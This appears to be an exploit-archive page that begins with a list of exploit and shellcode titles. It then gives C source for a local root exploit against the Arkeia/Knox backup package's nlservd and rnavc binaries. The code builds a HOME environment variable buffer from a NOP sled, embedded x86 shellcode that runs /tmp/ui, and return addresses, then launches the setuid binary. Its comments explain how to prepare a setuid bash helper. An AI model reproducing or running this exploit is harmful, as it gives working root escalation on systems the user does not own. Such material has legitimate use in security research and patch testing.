880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
92 lines
No EOL
2.1 KiB
C
92 lines
No EOL
2.1 KiB
C
/*
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source: https://www.securityfocus.com/bid/661/info
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Knox Software Arkeia 4.0 Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow
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A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are part of the Knox Software Arkiea backup application allow local users to obtain root access.
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*/
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/*
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* nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2
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* exploits Arkiea's Knox backup package.
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* gcc -o knox knox.c
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* ./knox <offset> <buflen>
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*
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*
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* NOTE: you *MUST* have void main(){setuid(geteuid());
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system("/bin/bash");}
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* compiled in /tmp/ui for this to work.
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*
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* To exploit rnavc, simply change the execl call to
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("/usr/bin/knox/rnavc",
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* "rnavc", NULL)
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* -Brock Tellier btellier@webley.com
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*/
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#include <stdlib.h>
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#include <stdio.h>
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char exec[]= /* Generic Linux x86 running our /tmp program */
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/tmp/ui";
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#define LEN 2000
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#define NOP 0x90
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unsigned long get_sp(void) {
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__asm__("movl %esp, %eax");
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}
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void main(int argc, char *argv[]) {
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int offset=0;
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int i;
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int buflen = LEN;
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long int addr;
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char buf[LEN];
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if(argc > 3) {
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fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
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exit(0);
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}
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else if (argc == 2){
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offset=atoi(argv[1]);
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}
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else if (argc == 3) {
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offset=atoi(argv[1]);
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buflen=atoi(argv[2]);
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}
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else {
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offset=2800;
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buflen=1200;
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}
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addr=get_sp();
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fprintf(stderr, "Arkiea Knox backup package exploit\n");
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fprintf(stderr, "For nlservd and rnavc\n");
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fprintf(stderr, "Brock Tellier btellier@webley.com\n");
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fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
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memset(buf,NOP,buflen);
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memcpy(buf+(buflen/2),exec,strlen(exec));
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for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4)
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*(int *)&buf[i]=addr+offset;
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setenv("HOME", buf, 1);
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execl("/usr/knox/bin/nlservd", "nlservd", NULL);
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} |